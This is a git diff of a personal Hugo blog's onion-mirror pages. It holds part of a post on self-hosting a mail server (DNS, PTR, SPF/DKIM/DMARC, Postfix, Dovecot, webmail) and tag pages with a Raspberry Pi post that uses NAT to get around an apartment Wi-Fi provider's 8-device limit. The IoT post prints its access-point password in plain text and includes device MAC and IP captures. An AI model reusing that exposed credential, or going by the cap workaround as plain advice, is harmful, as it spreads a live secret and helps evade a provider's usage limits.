    You already know this one from websites. An A record says “this name has this IPv4.” AAAA says the same for IPv6. For mail you also publish an MX record, which is simply a polite note: “if you’re delivering mail for this domain, knock on that hostname.” The hostname still needs A/AAAA records. MX is a pointer with a priority number, not a magical alternate internet.

    +

    I put mail.alipourimjourneys.ir on funbox for both v4 and v6, pointed MX at that name, and added webmail and mailadmin the same way.

    +

    Why Cloudflare’s orange cloud is not invited

    +

    Cloudflare’s proxied mode (orange cloud) is wonderful for HTTP websites. It is not a general-purpose “anything TCP” cloak for SMTP and IMAP. If you orange-cloud a mail hostname, you are asking a web reverse proxy to pretend it’s a mail server. That story ends in tears, weird timeouts, or certificates that belong to the wrong plot.

    +

    Mail hostnames stay DNS-only — grey cloud. I already treat some realtime services that way. Mail joins the grey-cloud club and stays there.

    +
    +

    PTR records: the phonebook in reverse

    +

    This is the part that confused me the longest the first time I met it years ago, so I’m going to walk slowly.

    +

    Normal DNS is a phonebook from names to numbers: you look up mail.example.com and learn the IP. Reverse DNS is a phonebook from numbers to names. You look up the IP and learn which name claims it. That reverse lookup is a PTR record.

    +

    Those reverse records do not live in your ordinary domain zone on Cloudflare. They live in a special reverse tree managed by whoever owns the IP address space — your hosting people, your ISP, the friendly operator who can edit the reverse zone. Having your own nameservers for alipourimjourneys.ir does not automatically give you the keys to reverse DNS for an IP, any more than owning your apartment gives you the right to rename the street.

    +

    So you ask the IP owner, kindly and with copy-pasteable values, to publish reverse names that match your mail hostname. In my case both the IPv4 and the IPv6 address should reverse to mail.alipourimjourneys.ir, and that name should forward back to those same addresses. That round trip is sometimes called forward-confirmed reverse DNS. Receiving servers love it because it smells like a real mail host instead of a laptop on hotel Wi‑Fi.

    +

    You can receive mail without PTR. Sending to big providers without PTR is how you collect mysterious silences and spam-folder exile. In this story, PTR is already in place. The world looks a little less suspicious of funbox. Good.

    +
    +

    SPF, DKIM, and DMARC: three different questions

    +

    People mash these together into “email authentication.” They’re related, but they answer different questions, and knowing that makes the DNS records feel less like spell ingredients.

    +

    SPF answers: “which machines are allowed to send mail claiming this domain?” It’s a TXT record listing your IPs (and sometimes includes of other services). I made mine strict: this server’s v4, this server’s v6, and then -all, which means everyone else should fail SPF. That is a bold stance. Use it when you truly mean “only this box sends.” If you’re mid-migration and scared, a softer ~all exists for a reason. I wasn’t mid-migration. I was building one source of truth.

    +

    DKIM answers: “was this message signed with our private key, and does the signature still match?” OpenDKIM signs outbound mail. You publish the matching public key under a selector name in DNS. Receivers fetch the key and check the stamp. If someone rewrites the message in silly ways, the stamp breaks. If someone without your key tries to impersonate you, they can’t produce a valid stamp.

    +

    DMARC answers: “if SPF/DKIM don’t align properly with the visible From domain, what should receivers do?” You can start with p=none (watch and learn), move to quarantine (bad mail goes to spam), and later reject when you’re brave. I moved to quarantine once signing and SPF looked healthy. Strict alignment settings mean I’m not pretending that “nearby” domains are close enough.

    +

    Order matters emotionally and technically. Publishing a harsh DMARC before DKIM works is a creative way to punish yourself. Get the notary working. Get the allowed-IP list right. Then tighten the policy.

    +

    Together they don’t make email “secure” in the Signal sense. They make domain forgery harder and give honest receivers better instincts about your mail. That is already a lot.

    +
    +

    Building the unglamorous core

    +

    On the OS I installed Postfix and Dovecot the ordinary Ubuntu way, pointed both at a Let’s Encrypt certificate for mail.alipourimjourneys.ir, and configured submission so humans must authenticate on 587. I disabled AUTH on 25. I closed plain IMAP on 143 because I don’t need a cleartext nostalgia port in 2026.

    +

    Then came OpenDKIM. Generating keys is the easy emotional beat. Publishing the TXT record is easy too. The sneaky beat was the milter socket. Postfix often runs in a chroot under /var/spool/postfix, so the path Postfix uses for the socket is relative to that jail. OpenDKIM must create the socket where Postfix can actually see it, with permissions that let the postfix user connect.

    +

    I briefly had two Socket lines in opendkim.conf. Config files don’t merge those into a committee. The last one wins. Mine won incorrectly, Postfix looked in the chroot path, found nothing useful, and outbound mail left unsigned while I stared at an empty directory like it had personally betrayed me. One Socket. The correct path. Restart. Log line: DKIM-Signature field added. Instant serotonin.

    +

    When opendkim-testkey says the key is OK but “not secure,” it is often complaining about DNSSEC validation, not accusing your key of being fake. Read that message gently.

    +
    +

    The Matrix certificate heist (that wasn’t a heist)

    +

    Thunderbird once refused my server with a wrong-site story. I opened the certificate details expecting mail.… and found matrix.alipourimjourneys.ir smiling back.

    +

    No attacker. No cosmic joke from Let’s Encrypt. Just nginx.

    +

    When a browser or mail client connects with HTTPS or STARTTLS, it names the host it wants (SNI). Nginx chooses a certificate based on that name. If no server_name matches, nginx shrugs and uses the default server block. On funbox, that default has long been Matrix. So any half-configured HTTPS name inherits Matrix’s identity and fails the “are you who you say you are?” check in the most confusing way possible.

    +

    Later I repeated a sibling mistake with webmail.: I enabled an HTTPS site pointing at certificate files that did not exist yet. Nginx then failed its config test. Certbot’s nginx plugin also needs that test to pass. Deadlock. Meanwhile browsers hitting https://webmail.… still fell through to the default server and received Matrix’s cert again. Same villain, new episode.

    +

    The boring fix is chronological humility. Publish DNS. Put an HTTP-only server block up first. Issue the certificate. Only then flip the site to HTTPS. If you reverse those steps, nginx will teach you about chickens and eggs until you apologize.

    +
    +

    From Linux users to real mailboxes

    +

    The first version used system accounts. Postfix delivered to local Unix users. Dovecot checked passwords with PAM. For a single person it works. It also quietly means your mailbox password is entangled with your login story, and creating “a mail account for a friend” starts to look like creating a Unix inhabitant. That is not the vibe I wanted for a portal.

    +

    So I moved to virtual mailboxes. PostfixAdmin keeps domains, users, and aliases in Postgres. Dovecot looks up passwords and home directories with SQL. Mail files live under /var/vmail/... owned by a dedicated vmail user. Postfix no longer thinks of those addresses as local Unix people. It thinks of them as virtual destinations and hands the message to Dovecot over LMTP.

    +

    Why not let Postfix write the files itself? You can, historically. I prefer letting Dovecot be the clerk who already understands Maildir layouts, future filters, and the IMAP view of the world. Postfix remains the traffic cop at the street.

    +

    One setting decides whether this feels cursed or calm: mydestination.

    +

    That list means “domains I treat as local Unix delivery.” Virtual domains belong in the virtual maps instead. If your hostname is mail.alipourimjourneys.ir and you also leave that name in mydestination, Postfix may keep trying to deliver like it’s 1999 local mail. Virtual users then appear configured while messages vanish into the wrong conceptual bucket. I set mydestination to localhost and let the mail domain be virtual. Suddenly the model matched reality.

    +

    PostfixAdmin became the place where I create humans. They can change their own passwords in the user area. I can reset them when someone inevitably forgets. No SSH required for “please add my sibling.”

    +

    One more client quirk: some apps send only ialipour as the username. The database stores ialipour@mail.…. Dovecot’s “default realm” sounded like it would stitch those together automatically. For PLAIN auth it didn’t save me the way I hoped. Teaching the SQL queries to accept either the full address or local-part@mail.alipourimjourneys.ir did. Also, when authentication fails for “no reason,” consider that you might be typing your Linux password into a mailbox that has its own password now. I will not elaborate. We all learn in private.

    +
    +

    Webmail without losing the plot

    +

    Roundcube is not a second mail server. It’s a website that speaks IMAP and SMTP on your behalf. Same username, same password, same Dovecot, same submission port. I run it in Docker next to PostfixAdmin, with its own database on the mail Postgres.

    +

    I flirted with serving it under a path like /webmail on the main mail hostname while also serving it at the root of webmail.…. Roundcube has opinions about its base path. If you tell it “you live under /webmail” and then put it at / on another name, it will happily redirect you after login to a URL that 404s inside the container. Apache will even sign the 404 like a polite waiter bringing empty plates.

    +

    The calm ending: Roundcube lives at https://webmail.alipourimjourneys.ir/ as the site root. The portal links there. Path experiments go in the diary under “character development.”

    +
    +

    The bounce emails that taught me about identity

    +

    After virtualization, funbox started mailing me undeliverable notices. The original messages were those solemn “SECURITY information for funbox” notes that appear when sudo wants a password. Unix likes to mail root. My system identity still thought the local domain was mail.alipourimjourneys.ir, so root became root@mail.alipourimjourneys.ir. That mailbox does not exist on purpose. LMTP rejected it. The bounce returned to me, the sender of the sudo drama. It felt like the house accusing me of breaking the house.

    +

    The fix is to separate “system mail identity” from “human mail domain.” I set the mailname/origin story back toward localhost for local Unix injection, and I aliased root to my real virtual address so necessary noise still reaches a human. myhostname can still announce itself as mail.… on the SMTP banner. Different knobs, different jobs.

    +

    Deletes in Thunderbird failing was a softer lesson. Reading worked. Deleting seemed haunted. In IMAP land, “delete” is often “please move this to Trash.” If Trash can’t be created because permissions are wrong, or Dovecot never auto-creates those special folders, the client shrugs and you blame the moon. Giving vmail ownership of the maildirs and letting Dovecot auto-subscribe Trash, Drafts, and Sent restored ordinary mortal behavior.

    +

    And fail2ban exists because a public mail server’s address is a picnic for scanners. An SSH jail alone is only half a seatbelt. I also watch Postfix and Dovecot auth failures in /var/log/mail.log so repeated guessing gets a timeout instead of an unlimited hobby.

    +
    +

    What “done” means for me

    +

    For this build, done means strangers cannot relay through me when I check from the public IP. Port 25 does not offer AUTH as entertainment. Humans submit on 587 with TLS and passwords. IMAP is on 993. SPF is strict, DKIM signs, DMARC quarantines failures. PTR for both families of IP points at mail.alipourimjourneys.ir, and the forward records agree. Cloudflare stays grey for mail names. The mail database is not the Matrix database. Webmail works. Admin works. Thunderbird deletes work. I can explain every line of that paragraph to a tired friend without waving my hands.

    +

    Would I do it again? Yes. With the same stubborn refusal of the giant appliance, and with a kinder voice toward beginners — including past me — who thought reverse DNS was “just another Cloudflare panel button.”

    +

    If this story helped you feel less silly for not already knowing what PTR stood for: welcome. That was the point. You’re not a dummy. Email is just a very old building with a lot of labeled doors, and somebody finally walked you through the hallway with the lights on.

    +
    + + +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbukACgkQtYgoUOBM
    +jSo2Yw//UtI5N8jeF+LTvsVHqDbTVyD+x6qiMgRGT4Kpn86V+6NaVjrs6h+kc5Xy
    +TD9gzCfpwsyfSDBGQ2SHM+bOTlyRDfXpH37XhOGVWNymP2guXaQBytJW11N7t6Yq
    +HhcRfnS1ICk+hK1PlZzLroHcxtT7vYWyucSoeGtedufXYVAaHz/mHVY1STMBEebP
    +NvaJqU5PbuHOHICGGtPADKUB8PejmRmUrzWp/bhA6k9muQSa4Bg30GkBLisOPvKq
    +4kgsu5qV7bhB2IyS6nYb+A1QhTD5EcrMzSaqRdNZR0MV2OzW4feSKwBrJqCe5Z8O
    +4BAMhpgk4baTz0+fSjWiKSokQhizXvB6vK21qu2O+5WbkyY/LLi0klLlF2UqhKnU
    +HE3+dYsxSYXMeCMUqDBPSmkxynJYIlUqen1gVt/vrjFpXRs8jsSx+Ec6+nHiwtLu
    +O+8yqHuGOevp91MW9Ly5eXeWMspmEhC4fgBXe4Anpol3FpwkE2neIy6N6D7FSQWM
    +0k4KDrEbfIvoowTRRXmNpHV+ttSYanjzTl3oQQZ+Y9H+g+uPrfh8oUvivrj+2ZOn
    +iv9oMoW6Q3rB7V/2+jptXpswhzfO67MLcGuToI5VIWz7vvOIW7vCAeSBK6LI91iB
    +VrhS5npAuRFTLR/jGboaIsiiAhI3j4zFvgBJ4c4PatN42KODY20=
    +=KCRU
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/self_hosting_mail.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/self_hosting_mail.md.asc
    +gpg --verify self_hosting_mail.md.asc self_hosting_mail.md
    +  
    +
    + + +]]>
    +
    +
    +
    diff --git a/public-onion/tags/dns/page/1/index.html b/public-onion/tags/dns/page/1/index.html new file mode 100644 index 0000000..12f69d2 --- /dev/null +++ b/public-onion/tags/dns/page/1/index.html @@ -0,0 +1,10 @@ + + + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/dns/ + + + + + + diff --git a/public-onion/tags/dnsmasq/index.html b/public-onion/tags/dnsmasq/index.html new file mode 100644 index 0000000..e25cec8 --- /dev/null +++ b/public-onion/tags/dnsmasq/index.html @@ -0,0 +1,353 @@ + + + + + + + +Dnsmasq | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + + +
    +
    +

    I Beat My 8-Device Wi-Fi Limit with a Raspberry Pi (and Made an IoT Village) +

    +
    +
    +

    The Day My Wi-Fi Said “Eight Is Enough” My apartment Wi-Fi (ASK4) has a hard cap of 8 devices. That’s adorable until you own a phone, a laptop, a tablet, a TV, a smart speaker, and even a couple of smart plugs. My solution: put all the IoT stuff behind a Raspberry Pi that shows up as one device to the building’s network, but acts like a full-blown Wi-Fi for everything else I own. +...

    +
    +
    November 23, 2025 · 18 min · Iman Alipour + + + + + + +
    + +
    +
    + + + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + diff --git a/public-onion/tags/dnsmasq/index.xml b/public-onion/tags/dnsmasq/index.xml new file mode 100644 index 0000000..6ad0b27 --- /dev/null +++ b/public-onion/tags/dnsmasq/index.xml @@ -0,0 +1,612 @@ + + + + Dnsmasq on AlipourIm journeys + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/dnsmasq/ + Recent content in Dnsmasq on AlipourIm journeys + Hugo -- 0.146.0 + en + Sun, 23 Nov 2025 00:00:00 +0000 + + + I Beat My 8-Device Wi-Fi Limit with a Raspberry Pi (and Made an IoT Village) + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/house_upgrade/ + Sun, 23 Nov 2025 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/house_upgrade/ + Real-world guide: hardware choices, reasons, setup details, performance, and how many devices you can realistically support. + The Day My Wi-Fi Said “Eight Is Enough” +

    My apartment Wi-Fi (ASK4) has a hard cap of 8 devices. That’s adorable until you own a phone, a laptop, a tablet, a TV, a smart speaker, and even a couple of smart plugs. My solution: put all the IoT stuff behind a Raspberry Pi that shows up as one device to the building’s network, but acts like a full-blown Wi-Fi for everything else I own.

    +

    This post is everything I did—no corporate firewall access, no exotic gear—just a Pi, a USB Wi-Fi adapter, and a little patience.

    +
    +

    Hardware: what I picked and why

    +
      +
    • +

      Raspberry Pi 4 (4GB)
      +It has enough CPU to route/NAT comfortably, USB 3 for fast Wi-Fi dongles, and solid Linux support. A Pi 3 works in a pinch, but the 4 stays cooler and handles bursts better.

      +
    • +
    • +

      ALFA AWUS036ACHM (USB Wi-Fi)
      +Reliable, AP-mode friendly on Linux, and happy with hostapd. I used it to broadcast my IoT network (2.4 GHz, 20 MHz channel) while the Pi’s built-in Wi-Fi connects upstream. For better range, use a short USB 3 extension so the antenna sits away from the Pi (USB 3 noise can hurt 2.4 GHz).

      +
    • +
    • +

      Fast USB-C power supply (official Pi 4 or 5V/3A equivalent)
      +Wi-Fi spikes current draw; brown-outs cause random gremlins.

      +
    • +
    • +

      16–32 GB microSD, heatsinks, ventilated case
      +The Pi 4 appreciates a bit of airflow.

      +
    • +
    • +

      (Optional) Ethernet cable
      +If you can wire the Pi to the wall/router for upstream instead of using onboard Wi-Fi, do it. Wired upstream = higher, steadier throughput and frees the onboard radio.

      +
    • +
    +
    +

    What this setup actually does

    +
      +
    • The Pi connects to the building’s ASK4 Wi-Fi as a client (wlan0).
    • +
    • The ALFA dongle creates a new access point called IoT_hub (wlx… interface) with password Iman8118.
    • +
    • Devices join IoT_hub. The Pi does NAT, so upstream sees one MAC address (the Pi), not dozens of gadgets. Device limit: defeated.
    • +
    • Avahi mDNS reflector lets services like AirPlay/HomeKit be discoverable across the two subnets without touching the managed router.
    • +
    • If I’m on the building Wi-Fi and want to control IoT gear without switching, I can also use an optional overlay (e.g., Tailscale) to reach 192.168.50.0/24 from anywhere.
    • +
    +
    +

    Setup details (the friendly version)

    +

    1) Access point with hostapd

    +

    I broadcast a simple WPA2 network on 2.4 GHz (best compatibility). Channel 1/6/11—pick the cleanest. 20 MHz channel width keeps legacy and low-power devices happy.

    +
    interface=wlx00c0cab7ab29
    +ssid=<A_NICE_SSID>
    +country_code=DE
    +hw_mode=g
    +channel=6
    +ieee80211n=1
    +wmm_enabled=1
    +# Don't require HT or you'll reject some tiny IoT clients:
    +require_ht=0
    +wpa=2
    +wpa_key_mgmt=WPA-PSK
    +rsn_pairwise=CCMP
    +wpa_passphrase=<STRONG_PASSWORD>
    +

    2) DHCP on the IoT side (dnsmasq)

    +

    Give out addresses on 192.168.50.0/24 and let systemd-resolved handle DNS to the internet.

    +
    interface=wlx00c0cab7ab29
    +bind-interfaces
    +dhcp-range=192.168.50.100,192.168.50.240,255.255.255.0,12h
    +dhcp-option=3,192.168.50.1
    +dhcp-option=6,1.1.1.1,8.8.8.8
    +port=0  # leave port 53 to systemd-resolved
    +log-dhcp
    +

    3) Routing + NAT (nftables)

    +

    This makes every downstream device appear as the Pi upstream:

    +
    table inet filter {
    +  chain input {
    +    type filter hook input priority filter; policy accept;
    +    ct state established,related accept
    +    iif "lo" accept
    +    iif "wlan0" accept
    +    iif "wlx00c0cab7ab29" accept
    +    udp dport 5353 accept  # mDNS
    +    counter drop
    +  }
    +  chain forward {
    +    type filter hook forward priority filter; policy accept;
    +    ct state established,related accept
    +    iif "wlx00c0cab7ab29" oif "wlan0" accept
    +    iif "wlan0" oif "wlx00c0cab7ab29" accept
    +  }
    +  chain output { type filter hook output priority filter; policy accept; }
    +}
    +table ip nat {
    +  chain postrouting {
    +    type nat hook postrouting priority srcnat; policy accept;
    +    oif "wlan0" masquerade
    +  }
    +}
    +

    4) mDNS across subnets (Avahi)

    +

    The reflector bridges Bonjour so AirPlay/HomeKit can find each other across IoT and ASK4:

    +
    [server]
    +allow-interfaces=wlan0,wlx00c0cab7ab29
    +[reflector]
    +enable-reflector=yes
    +

    I wanted to be able to control my homepod without switching networks, but without setting a custom route on ASK4 WiFi it was not possible, hence the reason I chose Tailscale

    +

    Iet up Tailscale, advertise 192.168.50.0/24 from the Pi. Now I can log in with a passkey from my devices and control my homepod without switching networks, well, kinda. Boom! Secure access to IoT without leaving ASK4.

    +

    Now some random questions that I looked up in internet:

    +
      +
    1. How many devices can this really support?
    2. +
    +

    Short answer: a lot—for IoT. +Long answer: the DHCP pool here has 141 IPs (.100 to .240). Wi-Fi airtime is the real limit, not IPs. With a 2.4 GHz AP and mostly low-bandwidth gadgets (sensors, plugs, bulbs, ESPs), 50–70 devices is completely reasonable. The ALFA’s radio and hostapd handle concurrent associations fine; I’ve watched dozens attach, chatter, and renew leases without drama.

    +

    If you plan camera-heavy traffic or bulk transfers, either split heavy gear onto 5 GHz or wire those devices. For small, chatty IoT traffic, this Pi/AP combo is very comfortable.

    +
      +
    1. What speeds should I expect?
    2. +
    +
      +
    • +

      LAN (IoT device ↔ Pi) on 2.4 GHz, 20 MHz channel, WPA2: +~20–60 Mbps real throughput per device is typical. IoT stuff barely needs 1 Mbps, so I’m golden! ^^

      +
    • +
    • +

      Internet (IoT device → upstream via Pi): +If the Pi’s upstream is Wi-Fi, which in my case is, the bottleneck is that link; expect ~30–70 Mbps stable. If upstream is Ethernet, the Pi 4 can NAT hundreds of Mbps, and my AP radio becomes the limit.

      +
    • +
    • +

      Latency: Adding one NAT hop adds a little delay (a few ms). For HomePod/AirPlay, mDNS reflection + local Wi-Fi keeps it snappy.

      +
    • +
    +
      +
    1. Why these choices?
    2. +
    +
      +
    • +

      2.4 GHz is where tiny IoT radios live (bulbs, plugs, ESP/ESP32). It trades speed for range and compatibility.

      +
    • +
    • +

      WPA2-PSK keeps things simple; WPA3 is fine if all your clients support it.

      +
    • +
    • +

      20 MHz channel prevents older or power-saving devices from flaking out.

      +
    • +
    • +

      Avahi reflector avoids any changes to the building’s router and still lets discovery work.

      +
    • +
    • +

      NAT collapses dozens of gadgets into a single upstream “seat,” sidestepping the 8-device limit entirely.

      +
    • +
    +

    Troubleshooting

    +
      +
    • +

      hostapd masked/disabled

      +
      sudo systemctl unmask hostapd && sudo systemctl enable --now hostapd
      +
    • +
    • +

      dnsmasq can’t start because of port 53
      +set port=0 in /etc/dnsmasq.d/*.conf and let systemd-resolved keep DNS.

      +
    • +
    • +

      “Station does not support mandatory HT PHY” in hostapd logs →
      +add require_ht=0 (and keep ieee80211n=1) in your hostapd.conf.

      +
    • +
    • +

      AirPlay/HomeKit don’t show up across subnets →
      +ensure Avahi reflector is enabled and UDP/5353 (mDNS) is allowed:

      +
        +
      • /etc/avahi/avahi-daemon.conf has: +
        [server]
        +allow-interfaces=wlan0,wlx00c0cab7ab29
        +[reflector]
        +enable-reflector=yes
        +
      • +
      • firewall allows:
      • +
      +
      udp dport 5353 accept
      +
    • +
    • +

      Weak signal / flaky joins →
      +use a short USB 3 extension to move the ALFA away from the Pi and cables;
      +scan and switch to a cleaner 2.4 GHz channel (1/6/11), keep width at 20 MHz.

      +
    • +
    • +

      Clients connect but no internet →
      +verify IP forward & NAT:

      +
    • +
    +
    sudo sysctl net.ipv4.ip_forward
    +

    If it’s 0, enable it permanently and reload

    +
    echo 'net.ipv4.ip_forward=1' | sudo tee /etc/sysctl.d/99-iot.conf
    +sudo sysctl --system
    +

    Verify the nftables NAT rule exists (masquerade out via wlan0)

    +
    sudo nft list ruleset | sed -n '/table ip nat/,$p' | sed -n '1,80p'
    +

    Add it if missing

    +
    sudo nft add table ip nat
    +sudo nft 'add chain ip nat postrouting { type nat hook postrouting priority srcnat; policy accept; }'
    +sudo nft 'add rule ip nat postrouting oif "wlan0" masquerade'
    +

    Persist nftables (Ubuntu)

    +
    sudo sh -c 'nft list ruleset > /etc/nftables.conf'
    +sudo systemctl enable --now nftables
    +

    Quick service sanity checks

    +

    hostapd (AP)

    +
    sudo systemctl status hostapd --no-pager
    +sudo journalctl -u hostapd -n 60 --no-pager
    +iw dev wlx00c0cab7ab29 info
    +iw dev wlx00c0cab7ab29 station dump
    +

    dnsmasq (DHCP on IoT side)

    +
    sudo systemctl status dnsmasq --no-pager
    +sudo journalctl -u dnsmasq -n 80 --no-pager
    +grep -E 'interface=|dhcp-range' /etc/dnsmasq.d/*.conf || true
    +tail -n 50 /var/lib/misc/dnsmasq.leases
    +

    Avahi (mDNS reflector)

    +
    grep -E 'enable-reflector|allow-interfaces' /etc/avahi/avahi-daemon.conf
    +sudo systemctl status avahi-daemon --no-pager
    +sudo journalctl -u avahi-daemon -n 60 --no-pager
    +

    Basic connectivity tests from a client on IoT_hub

    +

    got DHCP?

    +
    ip addr show
    +ip route
    +cat /etc/resolv.conf
    +

    can you reach the Pi and the internet?

    +
    ping -c 3 192.168.50.1
    +ping -c 3 1.1.1.1
    +ping -c 3 google.com
    +

    DNS works end-to-end?

    +
    
    +dig +short _airplay._tcp.local @224.0.0.251 -p 5353
    +

    (Or use a Bonjour browser app to confirm the HomePod is discoverable.)

    +

    If AirPlay/HomeKit discovery is flaky across subnets

    +

    make sure mDNS is allowed both directions on the Pi

    +
    
    +sudo nft add rule inet filter input udp dport 5353 accept
    +sudo nft add rule inet filter forward udp dport 5353 accept
    +sudo sh -c 'nft list ruleset > /etc/nftables.conf'
    +

    restart Avahi cleanly and re-announce

    +
    sudo systemctl restart avahi-daemon
    +sudo journalctl -u avahi-daemon -n 40 --no-pager
    +

    from the Pi, watch mDNS traffic on both sides (you should see queries/answers)

    +
    sudo tcpdump -ni wlx00c0cab7ab29 udp port 5353 -vvv
    +

    (in another terminal:)

    +
    sudo tcpdump -ni wlan0 udp port 5353 -vvv
    +

    Throughput + airtime sanity (optional)

    +

    simple iperf3 (install on Pi and a client)

    +
    sudo apt-get update && sudo apt-get install -y iperf3
    +

    (on the Pi:) iperf3 -s +(on a client:) iperf3 -c 192.168.50.1 -P 3 -t 10

    +

    check channel utilization/interference (from Pi)

    +
    sudo iw dev wlx00c0cab7ab29 survey dump | sed -n '1,200p'
    +

    (if busy, try channel 1 or 11 in hostapd.conf and restart hostapd)

    +

    Scaling tips (lots of tiny IoT devices)

    +

    hostapd tweaks (add to hostapd.conf, then restart)

    +

    (reduce management overhead slightly; keep conservative for compatibility)

    +
    beacon_int=100
    +dtim_period=2
    +wmm_enabled=1
    +ap_isolate=0
    +max_num_sta=256      # logical cap; real limit is airtime/driver
    +
    sudo systemctl restart hostapd
    +

    if some ESP/low-power clients are sticky or nap too hard:

    +

    (device-side) disable aggressive power saving if supported
    +(AP-side) keep channel width at 20 MHz and require_ht=0 for legacy clients

    +

    “Clients connect but no internet” quick checklist

    +

    Pi has a default route via upstream?

    +
    ip route | grep default
    +

    NAT counters are increasing when clients surf?

    +
    sudo nft list chain ip nat postrouting -a
    +

    connections tracked?

    +
    sudo conntrack -L -o extended | head -n 40
    +

    last resort: bounce the pieces

    +
    sudo systemctl restart hostapd dnsmasq avahi-daemon
    +sudo systemctl restart NetworkManager || true
    +sudo systemctl restart nftables
    +

    Network Traffic (embedded from captures)

    +

    For fun, and curiousity!

    +

    1) DHCP leases (who joined the IoT network)

    +
    1763936213 6a:12:f6:62:40:88 192.168.50.216 * 01:6a:12:f6:62:40:88
    +1763935691 72:00:a6:33:e5:7a 192.168.50.222 * 01:72:00:a6:33:e5:7a
    +1763935629 e8:06:90:69:66:7c 192.168.50.189 Aidot 01:e8:06:90:69:66:7c
    +1763936452 ac:bc:b5:e5:38:29 192.168.50.202 Main-Bedroom-2 01:ac:bc:b5:e5:38:29
    +1763935618 e8:06:90:68:06:2c 192.168.50.196 * 01:e8:06:90:68:06:2c
    +1763935618 48:e1:e9:bc:f6:91 192.168.50.131 * *
    +1763935618 48:e1:e9:bd:08:0d 192.168.50.118 * *
    +1763935615 48:e1:e9:bd:0b:a7 192.168.50.233 * *
    +1763935618 7c:f1:7e:ff:e1:b0 192.168.50.104 KH100 *
    +1763935607 cc:b5:d1:31:a4:cc 192.168.50.134 espressif 01:cc:b5:d1:31:a4:cc
    +

    2) Top talkers by bytes (hosts table)

    +
    192.168.50.233,7346
    +192.168.50.118,7216
    +192.168.50.131,7216
    +17.253.53.203,7040
    +54.217.122.41,6271
    +192.168.50.216,5392
    +192.168.50.104,3058
    +192.168.50.189,2278
    +17.242.218.132,1802
    +192.168.50.134,1750
    +192.168.50.196,1653
    +3.122.71.119,639
    +18.196.19.65,570
    +161.117.178.131,391
    +17.253.53.201,148
    +17.57.146.25,90
    +10.172.72.196,66
    +224.0.0.251,0
    +224.0.0.2,0
    +255.255.255.255,0
    +

    3) Heaviest flows (src, dst, proto, dport, bytes)

    +
    192.168.50.202,192.168.50.131,TCP,59903,402
    +192.168.50.202,192.168.50.118,TCP,59807,402
    +161.117.178.131,192.168.50.134,TCP,58246,391
    +192.168.50.216,192.168.50.202,UDP,5353,336
    +192.168.50.202,192.168.50.189,UDP,5353,312
    +192.168.50.202,192.168.50.196,UDP,5353,234
    +17.253.53.203,192.168.50.202,TCP,64726,222
    +192.168.50.216,17.57.146.25,TCP,5223,172
    +192.168.50.216,192.168.50.233,UDP,5353,162
    +192.168.50.202,192.168.50.104,UDP,5353,156
    +17.253.53.201,192.168.50.202,TCP,64727,148
    +192.168.50.202,17.253.53.201,TCP,443,132
    +192.168.50.216,224.0.0.251,IP,0,92
    +192.168.50.216,224.0.0.2,IP,0,92
    +17.57.146.25,192.168.50.216,TCP,64544,90
    +192.168.50.216,192.168.50.118,UDP,5353,75
    +192.168.50.216,192.168.50.131,UDP,5353,75
    +192.168.50.216,192.168.50.134,UDP,5353,75
    +192.168.50.216,10.172.72.196,TCP,59593,70
    +10.172.72.196,192.168.50.216,TCP,51638,66
    +

    4) Conntrack snapshot (active connections inventory)

    +
    ipv4     2 tcp      6 48 TIME_WAIT src=10.172.71.98 dst=185.125.190.39 sport=55012 dport=80 src=185.125.190.39 dst=10.172.71.98 sport=80 dport=55012 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 100 src=10.172.71.98 dst=185.40.234.113 sport=41641 dport=3478 src=185.40.234.113 dst=10.172.71.98 sport=3478 dport=41641 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431665 ESTABLISHED src=192.168.50.216 dst=17.57.146.25 sport=64544 dport=5223 src=17.57.146.25 dst=10.172.71.98 sport=5223 dport=64544 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 27 src=10.172.72.205 dst=224.0.0.251 sport=5353 dport=5353 [UNREPLIED] src=224.0.0.251 dst=10.172.72.205 sport=5353 dport=5353 mark=0 use=1
    +ipv4     2 udp      17 17 src=10.172.72.196 dst=10.172.79.255 sport=137 dport=137 [UNREPLIED] src=10.172.79.255 dst=10.172.72.196 sport=137 dport=137 mark=0 use=1
    +ipv4     2 tcp      6 431999 ESTABLISHED src=192.168.50.196 dst=18.196.19.65 sport=55164 dport=8883 src=18.196.19.65 dst=10.172.71.98 sport=8883 dport=55164 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 16 src=127.0.0.1 dst=127.0.0.53 sport=41796 dport=53 src=127.0.0.53 dst=127.0.0.1 sport=53 dport=41796 mark=0 use=1
    +ipv4     2 unknown  2 265 src=192.168.50.216 dst=224.0.0.251 [UNREPLIED] src=224.0.0.251 dst=192.168.50.216 mark=0 use=1
    +ipv4     2 udp      17 5 src=192.168.50.104 dst=1.1.1.1 sport=23791 dport=53 src=1.1.1.1 dst=10.172.71.98 sport=53 dport=23791 mark=0 use=1
    +ipv4     2 udp      17 119 src=10.172.72.205 dst=10.172.71.98 sport=41641 dport=41641 src=10.172.71.98 dst=10.172.72.205 sport=41641 dport=41641 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 27 src=10.172.71.98 dst=224.0.0.251 sport=5353 dport=5353 [UNREPLIED] src=224.0.0.251 dst=10.172.71.98 sport=5353 dport=5353 mark=0 use=1
